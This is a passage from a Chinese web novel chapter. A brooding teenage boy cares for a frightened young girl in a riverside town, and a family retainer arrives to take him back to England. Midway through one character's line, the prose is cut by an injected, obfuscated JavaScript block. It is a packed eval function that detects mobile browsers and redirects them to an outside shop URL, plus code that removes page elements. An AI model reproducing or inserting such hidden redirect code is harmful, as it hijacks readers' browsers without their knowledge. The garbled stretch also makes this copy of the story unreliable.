“我会吃小孩儿。”他语气古怪,似真似假的。 许织夏两只眼睛睁得圆圆的,迷惘又清澈,可能是被他吓唬到了,也可能是好奇,她琢磨着他的话,愣愣呢喃:“吃小孩儿……” 纪淮周煞有其事:“嗯。” 许织夏想了想,鼻音浓重:“哥哥,我会乖的……” 纪淮周怔了一秒。 她的反应不在他的预想内。 四目相对,纪淮周渐渐被她无辜的眼神看得没了劲,起了阵夜风,他不作声色,拽着后领,剥下了自己的夹克。 “还会什么?”他漫不经心,把外套丢过去。 许织夏眼前一黑,头上又是一沉,单薄的睡裙都被少年宽大的外套盖在了底下。 她扒拉了几下,探出脑袋,认真思索起来。 ——用不着陪我,她能做什么,能给我添堵么? 她不理解添堵的意思,只记得他说这句话时,态度很不满。 许织夏眼尾又溢出点水色,拖着哭腔,执拗地说:“还会、还会给哥哥添堵……” 纪淮周斜睨过去。 小姑娘头发微湿乱散着,鼻尖通红,湿润的睫毛一扇一扇,直勾勾巴望着他。 他看明白了,她还以为添堵是什么多乖的事儿呢。 纪淮周舌尖舔过唇角,压着扯了下,没忍住,头一低,还是被她惹得笑了。 10. 故人不在 他生得唇红齿白,不笑时好看,笑起来眉眼有神,唇边会有浅浅的令人着迷的括弧,更好看。 许织夏第一次见他笑。 是真心的笑,而不是冷嘲热讽的、不达眼底的。 他上身只有件纯黑背心,紧实的手臂暴露在风里。 屋檐不算太宽敞,雨一大,檐水如珠,有时会淋到他,那几丝龙须刘海已经湿了。 他不以为意,垂着脖颈,胳膊懒散支在膝上。 许织夏有些艰难地伸出外套下的双手,手指拢到他前额。 纪淮周顿了顿,偏过头。 小姑娘抻直了胳膊,很努力地用手给他遮着雨水。 前方的民居没连着,砖瓦间形成半个“天井”洞,能望见远处的河埠。 入夜时分,烟雨蒙蒙,清潋的碧水边一片垂丝海棠滋养得娇艳,花瓣白里透粉,春雪般阵阵吹落到停泊着的两只摇橹船上。 清闲,朦胧,像是梦里的画面,世间忧愁都被散尽了。 “……哥哥,天好黑。” 她又说了这句话,混在淅淅沥沥的雨声里。 纪淮周在看她,她惴惴不安地在看外面不停歇的雨。 就这样安静了段时间,纪淮周敛眸,雨势渐大,打湿了青石板。 他低垂着眉眼,跟前一朵一朵地溅着水花。 - 那晚的雨在半个多小时后停下,刚回到房子里,周清梧就过来了,带了两碗蒋冬青特意烧的羊肉面。 周清梧有话要讲,叫了纪淮周去到门口。 许织夏一个人留在前屋,伏在四仙桌边,就着一盏烛光吃面。 手太小,筷子夹不住,只能用握的,拨着面条往嘴里划。拨一筷,她就要往门口望一眼,确定他还在。 屋檐下,他倚着廊柱,指尖一听可乐时不时拎到唇边,仰颈倒一口,人懒懒散散的,也不知道有没有在听。 “杭一院精神科徐主任,是我曾经的导师,找个时间,你带她过去看看……还有不讲话的问题……她还是排斥,我不敢贸然带她回别墅……收养登记办不下来,她就只能回儿童院了……” 许织夏看到少年下敛的睫毛压住了眼眸,眉端弓着,不知是被汽水残留的杀口感刺激到舌腔的原因,还是他本就从不舒展。 雨后院子里的石板路湿润,黑蒙蒙里闪着水光,檐上水珠一滴一滴慢慢在落。 许织夏再一次从碗里探出脸的时候,他反身回屋。 之前哭过,轻晃的光晕下,许织夏眼圈还有点儿红,腮帮子鼓着,羊肉红烧出的浓郁酱汁稠稠的,黏得唇周和鼻尖都是。 她眨着乌黑的眼睛,无声吧唧了下唇,像只一碗面条就哄好了的小花猫。 相视片刻,纪淮周可乐一搁,坐下提起筷子,撩了下自己碗里的面条,低头吃了两口,什么都没说。 周清梧跟着走进屋,把装许织夏衣物的手提袋靠到空着的椅背:“宝宝,妈妈帮你洗澡好吗?” 一见她,许织夏就寂声低下头去,筷子戳在面里,脸还没碗口大,都快要埋进去了。 见状,周清梧又温柔说:“不要帮忙也没关系,自己可以吗?” 许织夏始终不吭声。 一段冗长的安静过去,纪淮周不紧不慢终于出声:“问你呢。” 他开口了,许织夏才点点头。 周清梧慎之又慎,察觉到她本能的抗拒情绪,便放弃了准备劝哄的话,只对纪淮周说:“那你再带她几天吧,阿玦。” 纪淮周自顾自吃着面,没回应。 那晚,纪淮周没赶许织夏回去,他总是这样,不答应,也不拒绝。 不说话有时是一种驳回,有时也是一种默许。 那时的许织夏还明白不了,他的沉默是属于哪一种。 当晚许织夏躺回了他的那张床上,烛光熄了,但空间里有他在,这片黢黑似乎也并非无法忍受。 她蜷缩起手脚,把自己裹在被褥里。 六月的夜晚其实不冷,但她喜欢身上有重量的安全感。 许织夏老实闭上眼睛,入睡前,睡地板的人无征兆地问了句:“你这话是说不了,还是不想说?” 反应慢半拍,许织夏才感觉到他是在和她说话。 许织夏又想起了在儿童院时常听到的那句丧气鬼,她只是个小孩儿,遇到问题会不自知地逃避。 扭捏了几秒,许织夏带着试探,几不可闻地央求道:“只跟哥哥说……可以吗?” 她一句只愿意和他说话,黑暗里,纪淮周微微睁开了眼。 一个人的世界,是他能感受到爱的范围,当爱没有了,就是世界崩塌的时候。 纪淮周看着自己的世界塌下来,不曾有人来捂住他的眼睛。 树干破土而出,一根根笔直得像大地的刺,密集的树梢交织成一张大网,捕住了要侵入的阳光,从此他的世界变回了最原始的丛林。 阴森可怖,不见天日。 他的内心也扭曲黑化,成了一头见谁都撕咬的恶狼。 在这片原始地界,他是许织夏唯一遇上的生命,许织夏这只幼兔无依无靠,望着他眼泪汪汪。 在他凶狠地龇出獠牙时,她却磕磕绊绊地跳过来,害怕地埋进了他毛茸茸的尾巴里,不敢看外面的世界。 尖锐獠牙就要刺进她脖颈的刹那,他犹豫了。 她的可爱不足以令他心软,让他做出让步的,是刚刚,或是今夜那场雨里,亦或是在港区遇见时的某个瞬间,那脱离他掌控的情感劣根。 因为她懵懂无知,认狼做父的样子,太像过去的他自己。 - 周清梧带来的手提袋里不只有衣服,还有一只小书包,里面装着给许织夏准备的绘本和涂鸦文具,以及随声录音机之类。 昨晚离开前周清梧说:“那宝宝在这里住几天,这几天白天就去书院,和阿公阿婆学写字好吗?让哥哥陪你。” 许织夏牢牢记着这话。 她想在这里,于是翌日一早自觉起床。 许织夏在卫生间笨拙地把自己梳洗干净,再回到房间时,少年还没醒。 他似乎和她相反,睡着的时候不喜欢有东西压住自己,被子总是扯开的,一条腿曲着,膝盖抵在被褥上,侧脸歪陷进枕头里,依然愁眉不展。 许织夏一如既往蹲到他边上。 她一边等他醒,一边呆呆地想,周清梧允许她在这里住几天。 几天是几天啊? 她安安静静的,很小心,但或许还是闹出了些动静,没多久纪淮周就醒了。 许织夏捏着只小花朵发圈,眼巴巴望他:“哥哥,我不会编辫子……” 一睁眼她就在面前,纪淮周不再意外。 没想到的是她已经自己穿好了鞋子,换上了干净的粉白系连衣背带裙,那只藕粉色垂耳兔立体玩偶双肩包正趴在她的背上。 俨然一副等着他送自己去上学的样子,不用催促就都准备好了,一点不麻烦他,还算省心。 除了黑蓬蓬的长头发还披落身前。 纪淮周坐起身,惺忪地瞥了眼发圈,倒没有凶,只是略带点儿起床气,醒时不久的鼻息慵懒:“你要是敢让我给你编辫子,我就把你丢出去。” 他又不是亲哥,还得管她编辫子? 纪淮周抓了两下凌乱的狼尾发,捞上要换的衣裤去向卫生间。 许织夏望着少年远去的高挑背影,又低头看了会儿手里那只漂亮的小花朵发圈,随后乖乖放回了手提袋里。 早午间天光正好,相比阴雨的前几日升了几度温,太阳照在皮肤上热烘烘的,已有了几分即将入夏的感觉。 今天晴热,纪淮周压了顶棒球帽,没穿外套,只套着件军绿无袖坎肩上衣,黑色工装短裤及膝,胳膊和小腿露着,冷肤色,精瘦修长,肌肉线条绷实流畅。 他手揣在裤袋里,没了袖子,许织夏便拉着他手腕。 她穿着背带裙,背上背只藕粉色垂耳兔,两步抵他一步,跟着他走在长巷子里。 街头巷尾或桥岸的岔口,总有几个穿棉麻衣衫的姑婆坐着闲聊,见他们经过,都不禁窥视,悄悄打量。 哥哥看着孤僻阴暗,有野性,不好惹。 妹妹很小只,胆子也小,样子漂漂亮亮的,乖巧地跟着哥哥,看着就讨喜。 兄妹一只狼一只兔,对比实在鲜明。 “也不晓得给妹妹梳下头发。” “这又是谁家的小少爷……” 姑婆们窃窃私语打听起来。 纪淮周先带着许织夏去了镇子口的早茶铺,要了两屉烧麦,给她加了瓶牛奶,自己却用一听冰镇汽水刺激大脑。 他似乎很享受这种慢性死亡,像个把刀架在自己脖子上的刽子手。 再到修齐书院时,蒋冬青高高兴兴迎进他们,招呼他们当自己家,随便坐。 纪淮周本就不是个会来事儿的性子,从不屑说客套话。 开放堂屋口,朝着天井摆了把藤木摇椅,他往那儿一躺,自己闭眼睡去了。 蒋惊春听见声儿,握着本硬笔书法纸从里屋出来,精神饱满:“囡囡来了,来,咱们先学硬笔,再练毛笔。” “孩子才五岁,字形笔画都还认不全呢。” “生日一过就六岁了,夏至,没几天了,清梧说过的。” 蒋冬青白他一眼:“六岁也得先识字!” 接收到老伴递过来的暗示的眼神,蒋惊春如梦初醒,想起许织夏过去是在港区,儿童院肯定不教简体字。 他立刻往屋里回去,“等会儿,阿公去换两本书。” 除纪淮周之外的所有人,在许织夏心里都是生人。 她想赖在纪淮周身边,不过阿公阿婆丝毫没有儿童院护工和老师的可怕,反而慈眉善目,流露出的温柔和呵护,让许织夏没有特别抵触。 最关键的,还是少年就在她的视野范围内,见他不走,她才犹豫地坐过去学习。 陶瓷水缸里嬉戏的小锦鲤甩出难以捕捉的声响,墙头青瓦上偶尔会有小猫无声走过,一曲江南小调从远方茶馆婉转进院子,四周一片安逸。 趁着许织夏温故,蒋惊春起来活动活动,取了小半碗鱼食,走过摇椅:“年轻人,不无聊吗?” 纪淮周仰着颈,动也不动,太阳光晒到帽檐上,在他的眼皮落下一片阴影,显得他更像个没感情的死物,不冷不热。 蒋惊春信步到水缸前,闲散喂着鱼:“想看什么书,我给你拿一本?” 照纪淮周的脾气,绝无可能搭这话。 他懒得理人的时候,多半他心情还算好,平时一出口,每个字都冒着针尖。 便如此刻这样,冷淡吐出几个词。 “Eight Million Ways……” 他嗓音低沉,慢悠悠又有点欠,声音像滚动在喉咙里,英语发音太过地道,每个词都溢着拖腔带调的苏感。 顿一秒,又继续:“to die.” 蒋惊春回头瞅了下他,不慌不忙把手上的鱼食喂尽,而后回到里屋,过了两分钟,他拿着本书走回来。 他用书脊碰了碰纪淮周的胳膊,尾音略扬“嗯”了一声,示意他拿去。 纪淮周半揭眼帘,眼皮子底下一本英文原版的《八百万种死法》。 这书当时国内买不到,那时中译版也不曾问世,他就是有意刁难,存心让人受气,倒没承想真有,还给他拿来了。 他抬眼扫过去,目光在蒋惊春脸上略微停了会儿,难得伸手接过了书。 “书里的话看看就好,那是别人的价值观。” 纪淮周抵着封底一转,书像篮球一样在他指尖旋转起来,有点沉,转了几圈就要掉,被他用掌心托住,又百无聊赖地抵上手指重新转动,如此反复。 或许是觉得这老爷子挺有趣,他兴味索然,但还是赏脸搭了句腔:“我的价值观就是等死。” 蒋惊春不在意打趣:“小小年纪,这么消沉,是天气不够好?” “好啊,”纪淮周颓懒转着书:“是个去死的好天气。” 中国人忌讳死亡,越是忌讳,他越是要故意踩雷区,蒋惊春早看出他是找茬,只是没想到这小子这么油盐不进。 观察他片刻,蒋惊春眼底流露出一丝洞察人心的笑。 “是不想活,还是不想这么活?” 那本书顿时在纪淮周手上转停,封面刚好正着。 恰在此时,灶间里的蒋冬青唤了蒋惊春一声,说是要炖腌笃鲜,柴火不多了,叫他去隔壁借点。 蒋惊春应了句,但没立刻去。 “棠里冬天会下雪,不尝尝腊月的冬酿酒可惜了,”蒋惊春拍拍纪淮周的肩,没劝他好好过,只似是而非地玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726221|189460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑说:“再坚持一下,活到冬天吧。” 蒋惊春出了书院,蒋冬青在灶间炖汤,天井周围就只剩了许织夏和纪淮周两个人。 开放堂屋的桌案前,许织夏坐在那里,握着铅笔,一笔一划地写着蒋惊春刚教的几个字,时不时朝外面望纪淮周。 他依旧靠躺着,摇椅轻晃,看不清帽檐下的神情。 腌笃鲜的香气从里间一路飘到院子里,闻着闻着,许织夏都感觉有点饿了,肚子咕噜一声,不知道有没有被听见。 她往书包里摸了摸,没有零食,倒是摸出了随身听。 里面有一盘一年级英语跟读磁带,许织夏不知道,新奇按了几下,机子突然发出一句字正腔圆的独特声腔。 “Bye Bill.” 许织夏木讷地盯着这个奇怪的东西,以为自己闯祸弄坏了,嗒嗒嗒跑回去找纪淮周。 “哥哥,它说话了。” 小孩子软绵绵的声线带了丝慌张,纪淮周斜睨过去,当她被什么吓到了,结果只是个随身听。 他一半无语一半纳闷:“跟着它说你不会?” 许织夏一脸稚气和困惑:“不会……” 纪淮周眼睛合了回去,人闲闲仰在摇椅里横翘着一条腿,懒洋洋的不上心:“我也不会,自己听。” 许织夏想跟他待着,没回去,就站他边上,低着头琢磨随声听,歪打正着按到回放键,女人的领读声又响起:“Bye Bill.” 许织夏懵懵的,尝试跟着念:“巴……比……” 她又按了一下回放,“Bye Bill.” “啵……”许织夏没有头绪,逐渐小声:“啵啵。” 纪淮周唇角不由勾起一丝括弧,鼻息逸出一声笑。 小姑娘学读音时,稀里糊涂却又一本正经的天然呆,有点滑稽,也有点可爱。 “Baby girl.”他气音低懒,似笑非笑地促狭。 许织夏的个子,站摇椅旁边正好能看到少年帽檐下漂亮的脸,她眨着清澈的眼睛,注视着闭目养神的他,发出一声糯糯的疑惑。 “说你是条小尾巴。” 纪淮周漫不经心撂下一句,双腿支地,突然起了身,抬手拽着帽檐压正棒球帽,迈开长腿向外面走去。 有那么一个短暂的瞬间,他突然觉得,养崽似乎还挺有意思。 许织夏忙不迭背上书包,跑向他,不知道是不是他放慢了脚步,许织夏很容易就追上了他。 他没回住处,去了镇口的方向,那边是许织夏昨晚走丢的地方。 再远点儿有一家小卖部。 经过那面书画着“棠里镇”的马头墙下,那群男孩子又在踢球,他们比许织夏大不了几岁,力道没轻重。 嬉笑声中,一只黑白足球四处飞旋。 儿童院的噩梦席卷而来,许织夏脑海中反复出现Felix运着足球,阴森看着她咧嘴笑的模样。 许织夏心脏揪紧,双腿笨重,僵着不敢往前走。 握着他手指,力度下意识捏紧。 纪淮周回首,和许织夏对视上,还没来得及讲话,突然又被什么吸引,目光抬上去。 随即他就变了脸色。 纪淮周视线定格在许织夏身后不远处。 离镇口百米开外的地方,有一座古禅寺,人烟少,香火不太旺,寺院门口冷冷清清。 黄墙外,静卧着台劳斯莱斯。 轿车一身亮黑,尊贵奢华,气质本就高高在上,出现在这古朴的烟火小镇附近便更突兀了。 车外西装革履的男子,正是钟遒。 纪淮周瞳仁的温度急剧冷却。 两分钟后,钟遒走到他面前。 “小少爷。”钟遒颔首向他问候,又讲了句“好耐冇见”。 他们习惯用粤语或英文交流,许织夏一窍不通,但纪淮周在用粤语骂滚开的时候,她能感受到他隐忍的恼火和反感。 “我们接您回去。”钟遒强调:“回英国,这是纪董的决定。” 纪淮周偏过头笑了下,回眸扯唇嘲讽:“低头就没劲了,老东西还是大义灭亲的时候最让人佩服,多威风。” “小少爷,事实上只要您肯——” “我不想讲两次。” 钟遒欲言又止,不由环顾周围环境。 白墙黑瓦,小桥流水,质朴又苍老,实在是个乡野之地,同纪家在世界各地的别墅庄园比起来,说是石头比金子,玻璃比钻石,都显得高攀。 就算不曾被领回纪家,但他从小也是养尊处优,用真金白银养出来的。 纸醉金迷长大的公子王孙,怎么受得了这里的粗茶淡饭。 钟遒语重心长道:“您一人住在这地方,淮崇少爷得知了,一定会心疼的。” 纪淮周眸心闪过冷光,暗暗攥住了拳头。 “淮崇少爷亦希望您回去。” 许织夏的脑袋挨在纪淮周腰边,钟遒说着,在许织夏身上落下耐人寻味的一眼,似乎对他私下养了个小女孩儿的事情感到荒唐。 太不成样子。 但钟遒没声张,只又说道:“您难道不想如过去那样,同淮崇少爷一起生活吗?” 钟遒接连的几句话像刻刀,一笔一笔在纪淮周的骨头上刻下宽恕二字,想让他的身体学会这个词。 纪淮周垂着眼,面上一片冷漠与平静。 却没再说一句狠话。 下午三四点钟橙红的光照透过河面,透过树梢,拉长了人的影子。 谁家开着电视,电影频道放出的上海滩伴奏扬声而来,格外清亮。 那个年代国语版的配音腔吐字圆熟,张国荣饰演的许文强隐姓埋名,正说着不能宣之于口的台词。 “我对上海来说,只不过是个过客,我做完要做的事,就会离开这里……” 许织夏心脏不安地跳着,头几乎快要埋到纪淮周后腰。 不安的可能是近处男孩子们依然在踢的球,也可能是因无知粤语而产生的对命运未知的恐惧。 许织夏太过局促,都没留意到那位古板大叔何时离开了,再回神,少年已经走远了两步。 “跟上啊。”纪淮周懒声回眸,逆着西沉的日光,眼眸半阖,看不出他当时的心情,只在给她起绰号时,能听出些不着调的痞里痞气的口吻。 “小尾巴。”